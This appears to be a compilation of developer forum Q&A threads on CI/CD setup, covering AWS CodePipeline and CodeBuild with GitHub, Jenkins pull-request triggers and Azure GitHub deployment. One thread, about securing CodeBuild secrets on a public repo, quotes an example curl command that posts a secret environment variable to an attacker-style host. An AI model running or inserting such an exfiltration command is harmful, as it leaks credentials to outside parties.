I am trying to create my CodePipeline using CloudFormation. The problem I'm having is that once it's created and tries to run, it immediately gives me the error:
Invalid action configuration The GitHub repository "MyOrg/MyRepo" or
branch "MyBranch" does not exist.
When in fact they both do. I can click on Edit, select my source control, Connect to GitHub, then select that exact repository and branch, and it works fine. But when starting the pipeline directly following the CloudFormation provisioning of the pipeline, it always gives me this error.
I did an export of the pipeline configuration JSON using aws codepipeline get-pipeline of a freshly provisioned pipeline using CloudFormation, and then did so again immediately after updating the configuration in the console using "Connect to GitHub" and both are identical.
Make sure that the Configuration property for your CodePipeline's GitHub Source Action contains all four required properties as listed in the documentation:
Owner
Repo
Branch
OAuthToken
Double check that your provided values are correct, particularly OAuthToken, which approximates the "Connect To GitHub" step in the the AWS Console-based CodePipeline setup.
To get a valid OAuthToken from GitHub to enter here, you need to create a New personal access token with repo and admin:repo_hook scopes enabled, as described in the documentation troubleshooting page.
Related
Using the official guide, created build project to run tests on GitHub PullRequests creation. The webhook is correctly shown on GitHub, builds are being triggered in Codebuild, however, the build status is not shown in Github, despite the option Report build status is set true. If I correctly understood the tutorial, Codebuild has native support of GitHub, and after successful creation of a webhook, the new verification check should be added for PR submission automatically, any suggestions to make this work?
It should work automatically. If builds are triggering but codebuild is not reporting back on the status, then it sounds like the codebuild project no longer has permission to the repo. You could try adding the GitHub source to codebuild again.
"Report build status" actually has no effect when triggered by a webhook, and should always report back in theory (https://docs.aws.amazon.com/codebuild/latest/userguide/change-project.html). It's set to false for my project and always updates the pull requests.
Ensure the GitHub user has write access to the repository, and if you're using a Personal Access Token (PAT), ensure the repo:status scope is granted:
Grants read/write access to public and private repository commit statuses. This scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.
https://developer.github.com/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
(I experienced this issue recently. The PAT had the necessary scopes granted but the GitHub user had read-only access to the repository. Granting the GitHub user write permission solved the problem.)
I have ran into a situation where I have a repo on GitHub that I am looking to make public.
Currently, one of the PR checks runs CI tests on AWS CodeBuild.
Because of the nature of the tests, there are environment variables that contain secrets. The results/logs from the build output will not be public, which is one good thing.
AWS CodeBuild uses the buildspec.yml file to run commands in CI.
If I were to have an environment variable, for example $SECRET_THING, an attacker would be able to simply open a PR, adding to buildspec.yml, for example:
- curl -X POST -d"thesecret=$SECRET_THING" https://mwahahahaha.com/grab_it
Which would then send themselves the secret.
Using either a setting in GitHub, the GitHub checks API or CodeBuild, is there a way that would require manual intervention to run the check, preferably after a code review? (eg. a button clickable only by an authorised collaborator on the PR page)
Don't use plain text environment variable, instead use "env > parameter-store" to store your secret. If you are using CodeBuild's console UI you can create the paramater store entry from "advanced > environment
variables > type: parameter store" https://aws.amazon.com/codebuild/latest/userguide/build-spec-ref.html#build-spec-ref-syntax
Also, CodeBuild allows you to define the buildspec as part of the project. This way the buildspec yml file is not present in your repository.
Note: CodeBuild only allows repo owner or admin to create the webhook.
Update: #Chris CodeBuild supports filter groups for PR builds. Documentation # https://docs.aws.amazon.com/codebuild/latest/userguide/sample-github-pull-request.html#sample-github-pull-request-filter-webhook-events-console. You can filter on the actor to ensure that only trusted collaborators can trigger a build for PR or push events.
I integrated my GitHub repository with AWS Codepipeline and that with Jenkins through the AWS Codepipeline plugin in Jenkins. Jenkins is installed in an EC2 server. I created an IAM role for the EC2 instance holding my Jenkins. I also set up AWS CodePipeline Publisher as the post build action.
However, my code from GitHub is taken in by AWS Codepipeline successfully(The Source stage is successfull), but the Build stage fails with a Timeout error after 1 hour.
When I checked with the Jenkins workspace in the EC2 instance, the workspace for the project is empty.
That is, the code taken in from GitHub is not put into the workspace of Jenkins by the AWS Codepipeline.
Is this a problem with enabling security for Jenkins? But actually I tried with disabling the security as well. But I got the same error.
Your help is really appreciated.
in the Build Triggers section, did you choose Poll SCM?
This is where you configure how often Jenkins should poll AWS CodePipeline for new tasks. For example: H/5 * * * * (every 5 minutes).
Something else that comes to mind is an issue with the credentials. If you open your Jenkins project, there should be an AWS CodePipeline Polling Log link on the left, below "Configure", and you should see an error there if the plugin is unable to poll.
First thing - Make sure Jenkins running on EC2 instance have IAM role and its related permissions to perform actions with AWS Code Pipeline.
Second thing - Under Build Triggers section, select Poll SCM and type five asterisks separated by spaces in Schedule.
Kindly follow the link for more details
http://docs.aws.amazon.com/codepipeline/latest/userguide/getting-started-4.html#getting-started-4-get-instance
This is an old question but had the same problem. After quite a bit of research, I figured out that in my setup, the input and output artifact names were missing.
Steps to check / fix the issue
You will need the aws cli installed.
Use: aws codepipeline get-pipeline --name [pipeline name] > pipeline.json
open the pipeline and confirm that
1. the output artifact in the source stage is the same as the input artifact in the build stage.
2. the output artifact in the build stage is the same as the input artifact in the Beta (or whatever is your deploy stage) stage.
You can check whether things are working fine by going to your S3. In the bucket for your code pipeline, you should see a folder with the same name as the output artifact in your source stage. Inside this, there will be various zip files. Download one and unzip to check that the upload from GitHub was proper.
I am guessing that the issue happened for me because I began with a 2 step pipeline and then added the build process afterwards - May happen with you too if you do not have the Jenkins server ready before creating the pipeline and hence you put that stage later.
It looks like the GitHubPullRequestBuilder is not compatible with Jenkins v2.0 pipeline jobs.
How do you configure a pipeline job to be triggered from a GitHub pull request event?
The documentation on this topic is sparse and I cannot find any examples of this. Or is it better to create a web-hook in GitHub to trigger the pipeline job on the PR event?
I had similar issue. Here’s what worked for me
Pre-req
Jenkins ver. 2+ (I was using Jenkins 2.60)
Github (or Githhub
enterprise) account
Your github and Jenkins must be able to talk to
each other.
On Github
create a github Personal Access Token (PAT) with relevant rights.
For your repo, create a webhook with
URL as YourJenkinsURL/github-webhook/
Choose ‘Let me select individual events’ and check ‘Pull Request’
Add a Jenkinsfile to the root folder of your repo. For testing purpose you could put content as a basic hello world like below
pipeline {
agent any
stages {
stage('Test') {
steps {
echo 'Hello World ...'
}
}
}
}
On Jenkins
Install GitHub Pull Request Builder plugin. (You also need “Github” plugin but that should normally be installed as part of Jenkins ver 2+)
Jenkins – Credentials
Add github Personal Access Token (PAT) as a ‘secret text’ credential.
Add github username-password as ‘username-password’ credential.
Manage Jenkins – Configure System
Github – Github Servers : This is part of the Github plugin. Add a github server. ‘API URL’ It will default to https://api.github.com. If you are using enterprise github, replace with enterprise github url followed by /api/v3. For credential select the PAT option. Test the connection. ‘Manage Hooks’ is checked.
GitHub Pull Request Builder : for ‘GitHub Server API URL’ use same url as specified in Github Server section. Leave ‘Shared Secret’ blank. For credentials use ‘username-password’ credential. Test credentials to ensure its working. In my settings, ‘Auto-manage webhooks’ was checked.
Pipeline Job
Create a new item using ‘Pipeline’ option. Note: This is the vanilla Pipeline job, not Multibranch Pipeline.
General Section: Check ‘Github Project’ – Project URL : Enter your github repo url
Build Triggers: Check ‘GitHub Pull Request Builder’
For ‘GitHub API credentials’ select option you set for GitHub pull request builder in ‘Manage Jenkins – Configure System’ screen
For admin list: add your username
Check Use github hooks for build triggering
Pipeline:
Select ‘Pipeline Script from SCM’. Note this assumes that the root folder of your repo will contain a ‘Jenkinsfile’
SCM: Select ‘Git’
Repositories – enter repo detail. For credentials use ‘username-password’ based credentials.
Click Advanced and add refspec as +refs/pull/*:refs/remotes/origin/pr/*
Branch – should be ${sha1}
Script Path: defaulted to Jenkinsfile, leave as is.
Lightweight Checkout - Uncheck this (https://github.com/jenkinsci/ghprb-plugin/issues/507)
That’s it. You are all set. Creating a PR on master branch of your repo should now trigger your Jenkins Pipeline job
Some observations
Redelivering the webhook payload of a PR from github does not trigger the pipeline but opening a new PR or even re-opening a closed PR on github, triggers the pipeline job
In Pipeline Job Configuration, if you choose “Pipeline Script” and paste your pipeline script in there, the job doesn't trigger !!!
The flow in a nutshell can go like this:
You create your pipeline as code and save it in a file called Jenkinsfile at the root dir of your project. That code should describe how your project will get built. See here for examples: https://jenkins.io/doc/pipeline/examples/
Then you should create a new "Multibranch Pipeline Project" item in your Jenkins. You should set this up so as to scan your repo of step 1.
Now whenever you get a new PR branch opened on your step 1 repo, the branch will be checked-out and will get built according to the Jenkinsfile instructions included with it. You can set up more conditions on what gets built and when if you want to.
Notes:
"Multibranch Pipeline Project" example documentation: https://jenkins.io/doc/book/pipeline-as-code/ (scroll down to Multibranch Pipeline Projects)
Keep in mind that getting the plugin to build a PR after commending on the PR does not work. There is a discussion analyzing this here: https://github.com/jenkinsci/gitlab-plugin/issues/298 There are workarounds (also described in that discussion) but they are quite messy to set up.
The most straightforward way to use Pipeline with GitHub pull requests is to put the script into your repository under the name Jenkinsfile and then install the GitHub Branch Source plugin. Documentation
Follow the Below Steps for Triggering Jenkins Job Automatically on Pull request generated on GitHub
Create a web hook on GitHub i.e. http:///generic-
webhook-trigger/invoke
Content Type :application/json
Select Pull Request as event Now github Configuration Part is done.
Jenkins Job Configuration
Download Generic Webhook Trigger in Jenkins
Git Hub Configuration On Jenkins
Git Hub Configuration
7.Select Generic Webhook Trigger on jenkins
8.Generic Webhook Trigger Configuration on Jenkinsand follow step 9
9.After doing step 7 Jenkins job will get trigger on PullRequest
10.Step 8 required to get information from Pull request Payload
11.Branch configuration inside Generic Webhook Trigger to get Branch details from Pull Request
Thanks
Using the portal:
Using the portal at https://manage.windowsazure.com/ this is easy. From a newly created azure web site:
Go to the dashboard
On the quick glance options on the right, click "Set up deployment from source control"
On the "where is your source code?" option, select Github
Authorize, then choose the repo name and branch.
BINGO: now pushes to that branch will trigger a deployment of that branch onto the azure website. Lovely.
Here's the problem:
I cannot for the life of me see how to do this from the command line (using the xpat-cli installed using npm: "npm install azure-cli -g")
It seems like I should be typing something like:
azure site deployment github --verbose --githubusername [username] --githubrepository [username/reponame] [sitename]
Because the help for "azure site deployment github" says it will: "Link a website to a github account for deployment"
Doesn't seem to work though...
If I then type:
azure site show [sitename]
The output says the source control is "LocalGit" instead of github - which is what it says if I do it the portal way above.
Source Control
data: --------------
data: Type: LocalGit
Any ideas?
Depending on your use case the solution will be different.
Assuming you have the same github source but want to deploy to multiple different Azure websites
Potential Solution: Make use of the Deploy to Azure Button See details here: https://azure.microsoft.com/blog/2014/11/13/deploy-to-azure-button-for-azure-websites-2/
Assuming you have various repositories that you want to deploy to Azure: Potential Solution: I am assuming that you will be the person deploying it. The workflow will be as follows:
A. Download files from Github to local folder See here
B. Publish your local folder into a new/existing Azure site. See here, or here. There are other github repositories to get some scripts right away
I understand this doesnt directly hook your system to do direct pull, but its one way to do it.
There is also:
http://www.imtraum.com/blog/streamline-git-with-powershell/
https://gallery.technet.microsoft.com/scriptcenter/a-GitHub-Repository-265c0b49
Both documents I found describing how to set up continuous deployment from GitHub say that you can configure the repo and branch with an Azure Resource Manager template, but you have to enter your credentials and complete the authorization process in the portal.
The script used in this tutorial will automatically configure
continuous publishing from your GitHub repository. This requires that
your GitHub credentials are already stored in Azure, otherwise the
scripted deployment will fail when attempting to configure source
control settings for the web apps.
To store your GitHub credentials in Azure, create a web app in the
Azure preview portal and configure GitHub deployment. You only need to
do this once.
I'd also suggest posting your xpat-cli problem as an issue on their GitHub repo.